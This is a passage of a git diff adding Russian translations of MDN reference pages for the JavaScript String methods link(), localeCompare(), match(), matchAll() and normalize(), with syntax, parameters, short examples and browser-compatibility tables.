+<p>Метод <strong><code>link()</code></strong> создаёт HTML-элемент {{HTMLElement("a")}}, заставляющий строку отображаться в виде ссылки на другой URL.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.link(<var>url</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>url</code></dt>
+ <dd>Любая строка, определяющая атрибут <code>href</code> тега <code>&lt;a&gt;</code>; она должна содержать допустимый URL (относительный или абсолютный), символы амперсанда <code>&amp;</code> должны быть закодированы в ней как <code>&amp;amp;</code>, а символы кавычки <code>"</code> — как <code>&amp;quot;</code>.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>link()</code> используется для создания кусочка HTML со ссылкой в гипертексте. Возвращённая строка затем может быть добавлена в документ при помощи метода {{domxref("document.write()")}} или свойства {{domxref("element.innerHTML")}}</p>
+
+<p>Ссылки, созданные методом <code>link()</code>, становятся элементами в массиве {{domxref("document.links")}}.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_link" name="Example:_Using_link">Пример: использование метода <code>link()</code></h3>
+
+<p>В следующем примере слово «MDN» отображается в виде гипертекстовой ссылки, ведущей на сайт Сети разработчиков Mozilla.</p>
+
+<pre class="brush: js">var hotText = 'MDN';
+var URL = 'https://developer.mozilla.org/';
+
+document.write('Нажмите для возврата на ' + hotText.link(URL));
+</pre>
+
+<p>Этот пример генерирует такой же вывод, как и следующий HTML:</p>
+
+<pre class="brush: html">Нажмите для возврата на &lt;a href="https://developer.mozilla.org/"&gt;MDN&lt;/a&gt;
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.link', 'String.prototype.link')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.0.<br>
+    Определена в (нормативном) Приложении B по Дополнительным возможностям ECMAScript для веб-браузеров.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("1.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Gecko-specific_notes" name="Gecko-specific_notes">Примечания по Gecko</h3>
+
+<p>Начиная с версии {{gecko("17")}}, символ <code>"</code> (кавычка) в строках, передаваемых в качестве параметра <code>url</code>, заменяется его HTML-мнемоникой <code>&amp;quot;</code>.</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.anchor()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/localecompare/index.html b/files/ru/web/javascript/reference/global_objects/string/localecompare/index.html
new file mode 100644
index 0000000000..606cf86549
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/localecompare/index.html
@@ -0,0 +1,196 @@
+---
+title: String.prototype.localeCompare()
+slug: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+tags:
+  - Internationalization
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/localeCompare
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>localeCompare()</code></strong> возвращает число, указывающее, должна ли данная строка находиться до, после или в том же самом месте, что и строка, переданная через параметр, при сортировке этих строк.</p>
+
+<p>Новые аргументы <code>locales</code> и <code>options</code> позволяют приложениям определять язык, чей порядок сортировки оно хочет использовать и настраивать поведение этой функции. В старых реализациях, игнорирующих аргументы <code>locales</code> и <code>options</code>, используемая локаль и порядок сортировки целиком зависят от реализации.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.localeCompare(<var>compareString</var>[, <var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<p>Проверьте раздел <a href="#Browser_compatibility">Совместимость с браузерами</a>, чтобы увидеть, какие браузеры поддерживают аргументы <code>locales</code> и <code>options</code>, и <a href="#Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></a> для определения этой возможности.</p>
+
+<dl>
+ <dt><code>compareString</code></dt>
+ <dd>Строка, с которой сравнивается данная.</dd>
+</dl>
+
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Collator', 'Parameters')}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Возвращает число, указывающее, должна данная строка находится до, после или в том же самом месте, что и строка, переданная через параметр, при сортировке этих строк. Если данная строка предшествует строке <code>compareString</code>, возвращает отрицательное число, если она следует за строкой <code>compareString</code>, возвращает положительное значение и возвращает 0, если строки находятся на одном уровне.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example:_Using_localeCompare" name="Example:_Using_localeCompare">Пример: использование метода <code>localeCompare()</code></h3>
+
+<p>Следующий пример демонстрирует различные потенциальные результаты для строки, находящейся до, после или на том же самом уровне, что и другая строка:</p>
+
+<pre class="brush: js">console.log(new Intl.Collator().compare('a', 'c')); // -2, -1 или другое отрицательное значение
+console.log(new Intl.Collator().compare('c', 'a')); // 2, 1 или другое положительное значение
+console.log(new Intl.Collator().compare('a', 'a')); // 0
+</pre>
+
+<p>Обратите внимание, что результат, показанный в коде выше, может сильно различаться в зависимости от браузера и его версии. Происходит это потому, что возвращаемые значения зависят от реализации. То есть, спецификация требует только того, чтобы значение было отрицательным, если строка данная следует до переданной, и положительным — если после.</p>
+
+<h3 id="Example:_Checking_for_support_for_locales_and_options_arguments" name="Example:_Checking_for_support_for_locales_and_options_arguments">Пример: проверка поддержки аргументов <code>locales</code> и <code>options</code></h3>
+
+<p>Аргументы <code>locales</code> и <code>options</code> поддерживаются ещё не всеми браузерами. Для проверки того, поддерживает ли их уже реализация, можно затребовать несуществующую метку языка и проверить, будет ли выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}:</p>
+
+<pre class="brush: js">function localeCompareSupportsLocales() {
+  try {
+    'a'.localeCompare​('b', 'i');
+  } catch (e) {
+    return e​.name === 'RangeError';
+  }
+  return false;
+}
+</pre>
+
+<h3 id="Example:_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+
+<p>Результаты, предоставляемые методом <code>localeCompare()</code>, сильно различаются в зависимости от языка. Для получения порядка сортировки языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+
+<pre class="brush: js">console.log('ä'.localeCompare('z', 'de')); // отрицательное значение: в немецком буква ä идёт рядом с буквой a
+console.log('ä'.localeCompare('z', 'sv')); // положительное значение: в шведском буква ä следует после буквы z
+</pre>
+
+<h3 id="Example:_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+
+<p>Результат, предоставляемый методом <code>localeCompare()</code>, может быть настроен с помощью аргумента <code>options</code>:</p>
+
+<pre class="brush: js">// В немецком буква a является базовой для буквы ä
+console.log('ä'.localeCompare('a', 'de', { sensitivity: 'base' })); // 0
+
+// В шведском буквы ä и a являются двумя разными базовыми буквами
+console.log('ä'.localeCompare('a', 'sv', { sensitivity: 'base' })); // положительное значение
+</pre>
+
+<h2 id="Performance" name="Performance">Производительность</h2>
+
+<p>При сравнении большого количества строк, например, при сортировке больших массивов, лучшим вариантом будет создание объекта {{jsxref("Global_Objects/Collator", "Intl.Collator")}} и использование функции, предоставляемой его свойством {{jsxref("Collator.prototype.compare", "compare")}}.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.9', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.localecompare', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-13.1.1', 'String.prototype.localeCompare')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Определение параметров <code>locale</code> и <code>option</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Аргументы <code>locales</code> и <code>options</code></td>
+   <td>{{CompatChrome("24")}}</td>
+   <td>{{CompatGeckoDesktop("29")}}</td>
+   <td>{{CompatIE("11")}}</td>
+   <td>{{CompatOpera("15")}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Аргументы <code>locales</code> и <code>options</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("26")}}</td>
+   <td>{{CompatNo}}<br>
+    {{bug("864843")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/match/index.html b/files/ru/web/javascript/reference/global_objects/string/match/index.html
new file mode 100644
index 0000000000..ebcc53c574
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/match/index.html
@@ -0,0 +1,177 @@
+---
+title: String.prototype.match()
+slug: Web/JavaScript/Reference/Global_Objects/String/match
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Regular Expressions
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/match
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>match()</code></strong> возвращает получившиеся совпадения при сопоставлении <em>строки</em> с <em>регулярным выражением</em>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.match(<var>regexp</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Объект регулярного выражения. Если будет передан объект <code>obj</code>, не являющийся регулярным выражением, он будет неявно преобразован в объект {{jsxref("Global_Objects/RegExp", "RegExp")}} через вызов конструктора <code>new RegExp(obj)</code>.</dd>
+</dl>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<dl>
+ <dt><code>array</code></dt>
+ <dd>Объект {{jsxref("Global_Objects/Array", "Array")}}, содержащий результаты сопоставления, или {{jsxref("Global_Objects/null", "null")}}, если ничего не было сопоставлено.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Если регулярное выражение не содержит флаг <code>g</code>, возвращаемый результат будет тем же самым, что и при вызове метода {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}. Возвращаемый объект {{jsxref("Global_Objects/Array", "массива", "", 1)}} имеет дополнительное свойство <code>input</code>, которое содержит оригинальную строку. Кроме того, он имеет свойство <code>index</code>, которое представляет индекс (нумерация с нуля) сопоставления в строке.</p>
+
+<p>Если регулярное выражение содержит флаг <code>g</code>, метод вернёт {{jsxref("Global_Objects/Array", "массив", "", 1)}}, содержащий все сопоставления. Если сопоставлений не было, метод вернёт значение {{jsxref("Global_Objects/null", "null")}}.</p>
+
+<h3 id="See_also_RegExp_methods" name="See_also:_RegExp_methods">Смотрите также: методы объекта <code>RegExp</code></h3>
+
+<ul>
+ <li>Если вам надо просто узнать, подпадает ли строка под регулярное выражение, используйте метод {{jsxref("String.prototype.search()", "search()")}}.</li>
+ <li>Если вам нужно найти только первое сопоставление, вы можете использовать метод {{jsxref("RegExp.prototype.exec()", "RegExp.exec()")}}.</li>
+</ul>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_match" name="Example:_Using_match">Пример: использование метода <code>match()</code></h3>
+
+<p>В следующем примере метод <code>match()</code> используется для поиска слова <code>'Глава'</code>, за которым следуют 1 или более цифр, за которыми следуют 0 или более раз группы из точки и цифры. Регулярное выражение включает флаг <code>i</code>, так что регистр букв игнорируется.</p>
+
+<pre class="brush: js">var str = 'Глава 3.4.5.1 содержит дополнительную информацию';
+var re = /(глава \d+(\.\d)*)/i;
+var found = str.match(re);
+
+console.log(found);
+
+// выведет [ 'Глава 3.4.5.1',
+//           'Глава 3.4.5.1',
+//           '.1',
+//           index: 0,
+//           input: 'Глава 3.4.5.1 содержит дополнительную информацию' ]
+
+// 'Глава 3.4.5.1' - это первое сопоставление и первое значение,
+// сопоставленное с группой `(Глава \d+(\.\d)*)`.
+// '.1' - это последнее значение, сопоставленное с группой `(\.\d)`.
+// Свойство 'index' содержит значение (0) индекса совпадения
+// относительно начала сопоставления
+// Свойство 'input' содержит значение введенной строки.</pre>
+
+<h3 id="Example_Using_global_and_ignore_case_flags_with_match" name="Example:_Using_global_and_ignore_case_flags_with_match">Пример: использование флагов глобальности и игнорирования регистра с методом <code>match()</code></h3>
+
+<p>Следующий пример демонстрирует использование флагов глобального поиска и игнорирования регистра символов вместе с методом <code>match()</code>. Возвращаются все буквы от А до Д и от а до д, каждая в своём элементе массива.</p>
+
+<pre class="brush: js">var str = 'АБВГДЕЁЖЗИЙКЛМНОПРСТУФХЦЧШЩЬЫЪЭЮЯабвгдеёжзийклмнопрстуфхцчшщьыъэюя';
+var regexp = /[А-Д]/gi;
+var matches_array = str.match(regexp);
+
+console.log(matches_array);
+// ['А', 'Б', 'В', 'Г', 'Д', 'а', 'б', 'в', 'г', 'д']
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 3-е издание.</td>
+   <td>Стандарт</td>
+   <td>Изначальное определение. Реализована в JavaScript 1.2.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.5.4.10', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-string.prototype.match', 'String.prototype.match')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Android</th>
+   <th>Chrome для Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Firefox-specific_notes" name="Firefox-specific_notes">Примечания по Firefox</h3>
+
+<ul>
+ <li>Начиная с Gecko 27 {{geckoRelease(27)}}, этот метод был поправлен для соотвествия спецификации ECMAScript. При вызове метода <code>match()</code> с глобальным регулярным выражением, свойство {{jsxref("RegExp.lastIndex")}} (если оно определено) будет сбрасываться в <code>0</code> ({{bug(501739)}}).</li>
+</ul>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
new file mode 100644
index 0000000000..6c8defbc17
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
@@ -0,0 +1,120 @@
+---
+title: String.prototype.matchAll()
+slug: Web/JavaScript/Reference/Global_Objects/String/matchAll
+tags:
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - Regular Expressions
+  - String
+translation_of: Web/JavaScript/Reference/Global_Objects/String/matchAll
+---
+<div>{{JSRef}}</div>
+
+<p>Метод <strong><code>matchAll()</code></strong> возвращает итератор по всем результатам при сопоставлении <em>строки с регулярным выражением</em>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/string-matchall.html")}}</div>
+
+
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><var>str</var>.matchAll(<var>regexp</var>)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>regexp</code></dt>
+ <dd>Объект регулярного выражения. Если передано значение, не являющееся объектом регулярного выражения, оно неявно преобразуется в {{jsxref("RegExp")}} используя <code>new RegExp(obj)</code>.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Возвращается <a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">iterator</a> (не перезапускаемый).</p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Regexp.exec_и_matchAll">Regexp.exec() и matchAll()</h3>
+
+<p>До добавления метода <code>matchAll</code> в JavaScript, можно было использовать метод <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec">regexp.exec</a> (и регулярные выражения с флагом <code>/g</code> ) в цикле для получения доступа к совпадениям:</p>
+
+<pre class="brush: js notranslate">const regexp = RegExp('foo*','g');
+const str = 'table football, foosball';
+
+while ((matches = regexp.exec(str)) !== null) {
+  console.log(`Found ${matches[0]}. Next starts at ${regexp.lastIndex}.`);
+  // expected output: "Found foo. Next starts at 9."
+  // expected output: "Found foo. Next starts at 19."
+}
+</pre>
+
+<p>С появлением <code>matchAll</code>, нет необходимости использовать цикл <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/while">while</a></code> и метод <code>exec</code> с флагом <code>/g</code>.<br>
+ Используя вместо этого метод <code>matchAll</code>, вы получаете итератор, который вы можете использовать более удобно с конструкциями <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax">array spread</a>, или {{jsxref("Array.from()")}} :</p>
+
+<pre class="brush: js notranslate">const regexp = RegExp('foo*','g');
+const str = 'table football, foosball';
+let matches = str.matchAll(regexp);
+
+for (const match of matches) {
+  console.log(match);
+}
+// Array [ "foo" ]
+// Array [ "foo" ]
+
+// итерация больше недоступна после вызова for of
+// Для создания нового итератора вызовите matchAll повторно
+matches = str.matchAll(regexp);
+
+Array.from(matches, m =&gt; m[0]);
+// Array [ "foo", "foo" ]
+</pre>
+
+<h3 id="Улучшенный_доступ_к_группам_захвата">Улучшенный доступ к группам захвата</h3>
+
+<p>Еще одна веская причина использовать <code>matchAll</code> это улучшенный доступ к группам захвата. Группы захвата игнорируются при использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с глобальным флагом <code>/g</code>:</p>
+
+<pre class="brush: js notranslate">var regexp = /t(e)(st(\d?))/g;
+var str = 'test1test2';
+
+str.match(regexp);
+// Array ['test1', 'test2']</pre>
+
+<p>С <code>matchAll</code> у вас появляется к ним доступ:</p>
+
+<pre class="brush: js notranslate">let array = [...str.matchAll(regexp)];
+
+array[0];
+// ['test1', 'e', 'st1', '1', index: 0, input: 'test1test2', length: 4]
+array[1];
+// ['test2', 'e', 'st2', '2', index: 5, input: 'test1test2', length: 4]
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+  </tr>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-string-matchall/#sec-string-prototype-matchall">String.prototype.matchAll</a></td>
+   <td>Stage 3</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.String.matchAll")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+ <li>{{jsxref("RegExp.prototype.exec()")}}</li>
+ <li>{{jsxref("RegExp.prototype.test()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/string/normalize/index.html b/files/ru/web/javascript/reference/global_objects/string/normalize/index.html
new file mode 100644
index 0000000000..098bc2de09
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/string/normalize/index.html
@@ -0,0 +1,174 @@
+---
+title: String.prototype.normalize()
+slug: Web/JavaScript/Reference/Global_Objects/String/normalize
+tags:
+  - ECMAScript6
+  - JavaScript
+  - Method
+  - Prototype
+  - Reference
+  - String
+  - Unicode
+translation_of: Web/JavaScript/Reference/Global_Objects/String/normalize
+---
+<div>{{JSRef("Global_Objects", "String")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+
+<p>Метод <strong><code>normalize()</code></strong> возвращает форму нормализации Юникода данной строки (если значение не является строкой, сначала оно будет в неё преобразовано).</p>
+
+<p>Одна из особенностей Юникода - возможность считать два разных символа эквивалентными при выполнении сортировки и иных операций, которые основаны на сравнении.</p>
+
+<p>Виды эквивалентности:<br>
+ - первый - каноническая эквивалентность, когда две последовательности code point являются полностью взаимозаменяемыми.</p>
+
+<p>- второй - совместимость - две совместимые последовательности code point выглядят по-разному, но в некоторых случаях они могут быть взаимозаменяемыми.</p>
+
+<p>'æ' взаимозаменяемый 'ae', но они не являются строго эквивалентными, если не провести некоторую нормализацию</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><code><var>str</var>.normalize(<var>[form</var>])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+
+<dl>
+ <dt><code>form</code></dt>
+ <dd>Одно из значений <code>"NFC"</code>, <code>"NFD"</code>, <code>"NFKC"</code> или <code>"NFKD"</code>, определяющих форму нормализации Юникода. Если параметр опущен или равен {{jsxref("Global_Objects/undefined", "undefined")}}, будет использоваться значение <code>"NFC"</code>.
+ <ul>
+  <li><code>NFC</code> —  форма нормализации канонической композицией (Normalization Form Canonical Composition, 'NFC'), по умолчанию;</li>
+  <li><code>NFD</code> — форма нормализации канонической декомпозицией (Normalization Form Canonical Decomposition, 'NFD');</li>
+  <li><code>NFKC</code> — форма нормализации совместимой композицией (Normalization Form Compatibility Composition, 'NFKC');</li>
+  <li><code>NFKD</code> — форма нормализации совместимой декомпозицией (Normalization Form Compatibility Decomposition, 'NFKD').</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Throws" name="Throws">Выбрасываемые исключения</h3>
+
+<dl>
+ <dt>{{jsxref("Global_Objects/RangeError", "RangeError")}}</dt>
+ <dd>Если параметр <code>form</code> не является одним из вышеперечисленных значений, будет выброшено исключение {{jsxref("Global_Objects/RangeError", "RangeError")}}.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<p>Метод <code>normalize()</code> возвращает указанную форму нормализации Юникода строки. Он не изменяет значение самой строки.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_normalize" name="Example:_Using_normalize">Пример: использование метода <code>normalize()</code></h3>
+
+<pre class="brush: js">let valueStr = ['h', 'ĥ', 'æ', 'ae', 'g', 'ġ'],
+    normArr = valueStr.map(function (text) {
+        return text.normalize(); // (по умолчанию 'NFC') normArr (после сортировки) -&gt; [<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">ae, g, h, æ, ġ, ĥ]</span></span></span></span>
+        //return text.normalize('NFD'); // normArr (после сортировки) -&gt; [<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">ae, g, ġ, h, ĥ, æ]</span></span></span></span>
+        //return text.normalize('NFKC'); // normArr (после сортировки) -&gt; [<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">ae, g, h, æ, ġ, ĥ]</span></span></span></span>
+        //return text.normalize('NFKD'); // normArr (после сортировки) -&gt; [<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">ae, g, ġ, h, ĥ, æ]</span></span></span></span>
+    });
+
+//После приведение строк в нормальную форму, мы можем провести сортировку, массива:
+normArr.sort(function (f,s) {
+    if (f &lt; s) {
+        return -1;
+    } else if (f === s) {
+        return 0;
+    } else {
+        return 1;
+    }
+});
+
+//Приведение к нормальной форме можно выполнить во время сортировки. Нормализацию при этом можно выполнять с помощью разных форм нормализации
+let valueStrNorm = ['h', 's', 'ĥ', 'æ', 'ș', 'ae', 'g', 'ġ'];
+valueStrNorm.sort(function (first, second) {
+    let fN = first.normalize(),
+        sN = second.normalize('NFKC');
+
+    if (fN &lt; sN) {
+        return -1;
+    } else if (fN === sN) {
+        return 0;
+    } else {
+        return 1;
+    }
+});
+
+valueStrNorm.join(', ');//-&gt; <span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">ae, g, h, s, æ, ġ, ĥ, ș</span></span></span></span>
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
